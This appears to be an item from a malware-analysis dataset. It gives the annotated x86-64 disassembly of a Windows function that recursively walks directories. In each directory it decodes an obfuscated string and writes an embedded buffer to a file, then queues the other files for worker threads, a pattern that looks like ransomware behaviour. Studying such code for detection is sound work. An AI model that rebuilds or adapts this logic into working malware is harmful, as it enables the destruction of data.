Function at 0x14002ca80
Capabilities:
Contain obfuscated stackstrings
Enumerate files on windows
Enumerate files recursively
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0xb68]
sub rsp, 0xc60
mov qword [rbp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x140050008]
xor rax, rsp
mov qword [rbp + 0xb50], rax
mov rsi, rcx
mov qword [rbp + 0x70], rcx
mov qword [rbp - 0x60], 7
xor edi, edi
mov qword [rbp - 0x68], rdi
mov word [rbp - 0x78], di
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rcx
lea rcx, [rbp - 0x78]
call fcn.140030110
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 0x80]
call fcn.14002c570
nop
xor edx, edx
mov r8d, 0x800
lea rcx, [rbp + 0x350]
call fcn.1400341f0
mov dword [rsp + 0x40], edi
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x800
jae 0x14002cb47
lea r8, [0x14004b790]
movsxd rax, dword [rsp + 0x40]
movsxd rcx, dword [rsp + 0x40]
movzx eax, byte [rax + r8]
mov byte [rbp + rcx + 0x350], al
inc dword [rsp + 0x40]
movsxd rax, dword [rsp + 0x40]
cmp rax, 0x800
jb 0x14002cb20
mov rax, rdi
movdqa xmm2, xmmword [0x14004c130]
movdqu xmm0, xmmword [rbp + rax + 0x350]
pandn xmm0, xmm2
movdqu xmmword [rbp + rax + 0x350], xmm0
movdqu xmm1, xmmword [rbp + rax + 0x360]
pandn xmm1, xmm2
movdqu xmmword [rbp + rax + 0x360], xmm1
add rax, 0x20
cmp rax, 0x800
jl 0x14002cb52
mov edx, 0x40
lea rcx, [rbp + 0x350]
call fcn.140033c98
movabs rbx, 0x7fffffffffffffff
test rax, rax
je 0x14002cea0
lea r8, [0x14004c048]
mov rdx, rsi
lea rcx, [rbp + 0x50]
call fcn.1400304f0
mov r9, rax
mov byte [rsp + 0x48], 0
mov byte [rsp + 0x49], 0x53
mov byte [rsp + 0x4a], 0x52
mov byte [rsp + 0x4b], 0x48
mov byte [rsp + 0x4c], 0x52
mov byte [rsp + 0x4d], 0x29
mov byte [rsp + 0x4e], 0x52
mov byte [rsp + 0x4f], 0x64
mov byte [rsp + 0x50], 0x52
mov byte [rsp + 0x51], 0x12
mov byte [rsp + 0x52], 0x52
mov byte [rsp + 0x53], 0x48
mov byte [rsp + 0x54], 0x52
mov byte [rsp + 0x55], 0x53
mov byte [rsp + 0x56], 0x52
mov byte [rsp + 0x57], 1
mov byte [rsp + 0x58], 0x52
mov byte [rsp + 0x59], 0x5e
mov byte [rsp + 0x5a], 0x52
mov byte [rsp + 0x5b], 7
mov byte [rsp + 0x5c], 0x52
mov byte [rsp + 0x5d], 0x15
mov byte [rsp + 0x5e], 0x52
mov byte [rsp + 0x5f], 0x23
mov byte [rsp + 0x60], 0x52
mov byte [rsp + 0x61], 0x72
mov byte [rsp + 0x62], 0x52
mov byte [rsp + 0x63], 0x53
mov byte [rsp + 0x64], 0x52
mov byte [rsp + 0x65], 0x42
mov byte [rsp + 0x66], 0x52
mov byte [rsp + 0x67], 0x29
mov byte [rsp + 0x68], 0x52
mov byte [rsp + 0x69], 0x72
mov byte [rsp + 0x6a], 0x52
mov byte [rsp + 0x6b], 7
mov byte [rsp + 0x6c], 0x52
mov byte [rsp + 0x6d], 0x64
mov byte [rsp + 0x6e], 0x52
mov byte [rsp + 0x6f], 0x15
mov byte [rsp + 0x70], 0x52
mov byte [rsp + 0x71], 0x23
mov byte [rsp + 0x72], 0x52
mov byte [rsp + 0x73], 0x21
mov byte [rsp + 0x74], 0x52
mov byte [rsp + 0x75], 0x66
mov byte [rsp + 0x76], 0x52
mov byte [rsp + 0x77], 0x25
mov byte [rsp + 0x78], 0x52
mov byte [rsp + 0x79], 0x66
mov byte [rsp + 0x7a], 0x52
mov byte [rsp + 0x7b], 0x52
mov byte [rsp + 0x7c], 0x52
movzx eax, byte [rsp + 0x49]
movzx eax, byte [rsp + 0x48]
test al, al
jne 0x14002cd31
mov r8, rdi
nop
movzx ecx, byte [rsp + r8 + 0x49]
mov eax, 0x52
sub eax, ecx
imul ecx, eax, 0x2d
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
add ecx, 0x7f
mov eax, 0x81020409
imul ecx
add edx, ecx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub ecx, eax
mov byte [rsp + r8 + 0x49], cl
inc r8
cmp r8, 0x34
jb 0x14002cce0
lea r8, [rsp + 0x49]
mov rdx, r9
lea rcx, [rbp + 0xc0]
call fcn.1400305d0
nop
mov rax, qword [rbp + 0x68]
cmp rax, 8
jb 0x14002cdaa
inc rax
mov rcx, qword [rbp + 0x50]
cmp rax, rbx
jbe 0x14002cd62
call fcn.1400369f8
int3
add rax, rax
cmp rax, 0x1000
jb 0x14002cda5
test cl, 0x1f
je 0x14002cd78
call fcn.1400369f8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14002cd87
call fcn.1400369f8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14002cd96
call fcn.1400369f8
int3
cmp rcx, 0x27
jbe 0x14002cda2
call fcn.1400369f8
int3
mov rcx, rax
call fcn.140031a5c
lea rcx, [rbp + 0xc0]
cmp qword [rbp + 0xd8], 8
cmovae rcx, qword [rbp + 0xc0]
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 4
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002ce2c
lea rax, [rbp + 0x350]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14002ce00
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x78]
lea rdx, [rbp + 0x350]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, qword [rbp + 0xd8]
movabs rbx, 0x7fffffffffffffff
cmp rax, 8
jb 0x14002cea0
inc rax
mov rcx, qword [rbp + 0xc0]
cmp rax, rbx
jbe 0x14002ce58
call fcn.1400369f8
int3
add rax, rax
cmp rax, 0x1000
jb 0x14002ce9b
test cl, 0x1f
je 0x14002ce6e
call fcn.1400369f8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14002ce7d
call fcn.1400369f8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14002ce8c
call fcn.1400369f8
int3
cmp rcx, 0x27
jbe 0x14002ce98
call fcn.1400369f8
int3
mov rcx, rax
call fcn.140031a5c
lea rcx, [rbp + 0x80]
cmp qword [rbp + 0x98], 8
cmovae rcx, qword [rbp + 0x80]
lea rdx, [rbp + 0x100]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp + 0x78], rax
cmp rax, 0xffffffffffffffff
jne 0x14002cf68
mov rax, qword [rbp + 0x98]
cmp rax, 8
jb 0x14002cf40
inc rax
mov rcx, qword [rbp + 0x80]
cmp rax, rbx
jbe 0x14002cef4
call fcn.1400369f8
int3
add rax, rax
cmp rax, 0x1000
jb 0x14002cf3b
test byte [rbp + 0x80], 0x1f
je 0x14002cf0e
call fcn.1400369f8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14002cf1d
call fcn.1400369f8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14002cf2c
call fcn.1400369f8
int3
cmp rcx, 0x27
jbe 0x14002cf38
call fcn.1400369f8
int3
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x98], 7
mov qword [rbp + 0x90], rdi
mov word [rbp + 0x80], di
mov rcx, rsi
call fcn.14002fe50
xor eax, eax
jmp 0x14002d395
mov rbx, rax
nop dword [rax + rax]
lea rcx, [rbp + 0x12c]
test byte [rbp + 0x100], 0x10
je 0x14002d0bd
call fcn.1400091d0
test eax, eax
jne 0x14002d298
lea rax, [rbp - 0x58]
mov qword [rsp + 0x40], rax
mov qword [rbp - 0x40], 7
mov qword [rbp - 0x48], rdi
mov word [rbp - 0x58], di
cmp word [rbp + 0x12c], 0
jne 0x14002cfb9
mov r8, rdi
jmp 0x14002cfcf
lea rax, [rbp + 0x12c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x14002cfc4
lea rdx, [rbp + 0x12c]
lea rcx, [rbp - 0x58]
call fcn.14002ffc0
nop
mov qword [rbp - 0x20], 7
mov qword [rbp - 0x28], rdi
mov word [rbp - 0x38], di
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.140030110
nop
lea r8, [rbp - 0x58]
lea rdx, [rbp - 0x38]
lea rcx, [rbp + 0xe0]
call fcn.14002c7a0
nop
mov qword [rbp], 7
mov qword [rbp - 8], rdi
mov word [rbp - 0x18], di
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp + 0xe0]
lea rcx, [rbp - 0x18]
call fcn.140030110
lea rcx, [rbp - 0x18]
call fcn.14002ca80
nop
mov rax, qword [rbp + 0xf8]
cmp rax, 8
jb 0x14002d298
inc rax
mov rcx, qword [rbp + 0xe0]
movabs rdx, 0x7fffffffffffffff
cmp rax, rdx
ja 0x14002d2c9
add rax, rax
cmp rax, 0x1000
jb 0x14002d0b3
test cl, 0x1f
jne 0x14002d2c3
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14002d2bd
sub rcx, rax
cmp rcx, 8
jb 0x14002d2b7
cmp rcx, 0x27
ja 0x14002d2b1
mov rcx, rax
call fcn.140031a5c
jmp 0x14002d298
mov edx, 0x2e
call fcn.140033d24
mov rcx, rax
call fcn.14000e840
test eax, eax
jne 0x14002d298
lea rcx, [rbp + 0x12c]
call fcn.14000cc30
test eax, eax
jne 0x14002d298
lea rax, [rbp + 8]
mov qword [rbp - 0x80], rax
mov qword [rbp + 0x20], 7
mov qword [rbp + 0x18], rdi
mov word [rbp + 8], di
cmp word [rbp + 0x12c], 0
jne 0x14002d112
mov r8, rdi
jmp 0x14002d12b
lea rax, [rbp + 0x12c]
or r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x14002d120
lea rdx, [rbp + 0x12c]
lea rcx, [rbp + 8]
call fcn.14002ffc0
nop
mov qword [rbp + 0x40], 7
mov qword [rbp + 0x38], rdi
mov word [rbp + 0x28], di
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rsi
lea rcx, [rbp + 0x28]
call fcn.140030110
nop
lea r8, [rbp + 8]
lea rdx, [rbp + 0x28]
lea rcx, [rbp + 0xa0]
call fcn.14002c7a0
mov rax, qword [rbp + 0xb0]
lea rdi, [rax*2 + 0x42]
nop dword [rax]
nop word [rax + rax]
mov r8, rdi
mov edx, 8
mov rcx, qword [0x140051d40]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov rbx, rax
test rax, rax
je 0x14002d190
lea rdx, [rbp + 0xa0]
cmp qword [rbp + 0xb8], 8
cmovae rdx, qword [rbp + 0xa0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop dword [rax]
xor edx, edx
mov rcx, qword [0x140051ef0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x14002d1d0
lea rcx, [0x140051f00]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movsxd rcx, dword [0x140051f38]
mov rax, qword [0x140051f30]
mov qword [rax + rcx*8], rbx
mov eax, dword [0x140051f38]
inc eax
cdq
idiv dword [0x140051f28]
mov dword [0x140051f38], edx
lea rcx, [0x140051f00]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor r8d, r8d
lea edx, [r8 + 1]
mov rcx, qword [0x140051ef8]
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
mov rax, qword [rbp + 0xb8]
cmp rax, 8
jb 0x14002d292
inc rax
mov rcx, qword [rbp + 0xa0]
movabs rdx, 0x7fffffffffffffff
cmp rax, rdx
ja 0x14002d2e7
add rax, rax
cmp rax, 0x1000
jb 0x14002d28d
test cl, 0x1f
jne 0x14002d2e1
mov rax, qword [rcx - 8]
cmp rax, rcx
jae 0x14002d2db
sub rcx, rax
cmp rcx, 8
jb 0x14002d2d5
cmp rcx, 0x27
ja 0x14002d2cf
mov rcx, rax
call fcn.140031a5c
xor edi, edi
mov rbx, qword [rbp + 0x78]
lea rdx, [rbp + 0x100]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14002d2ed
jmp 0x14002cf70
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
call fcn.1400369f8
int3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
nop
mov rax, qword [rbp + 0x98]
cmp rax, 8
jb 0x14002d36f
inc rax
mov rcx, qword [rbp + 0x80]
movabs rdx, 0x7fffffffffffffff
cmp rax, rdx
jbe 0x14002d323
call fcn.1400369f8
int3
add rax, rax
cmp rax, 0x1000
jb 0x14002d36a
test byte [rbp + 0x80], 0x1f
je 0x14002d33d
call fcn.1400369f8
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x14002d34c
call fcn.1400369f8
int3
sub rcx, rax
cmp rcx, 8
jae 0x14002d35b
call fcn.1400369f8
int3
cmp rcx, 0x27
jbe 0x14002d367
call fcn.1400369f8
int3
mov rcx, rax
call fcn.140031a5c
mov qword [rbp + 0x98], 7
mov qword [rbp + 0x90], rdi
mov word [rbp + 0x80], di
mov rcx, rsi
call fcn.14002fe50
mov eax, 1
mov rcx, qword [rbp + 0xb50]
xor rcx, rsp
call fcn.140031880
lea r11, [rsp + 0xc60]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret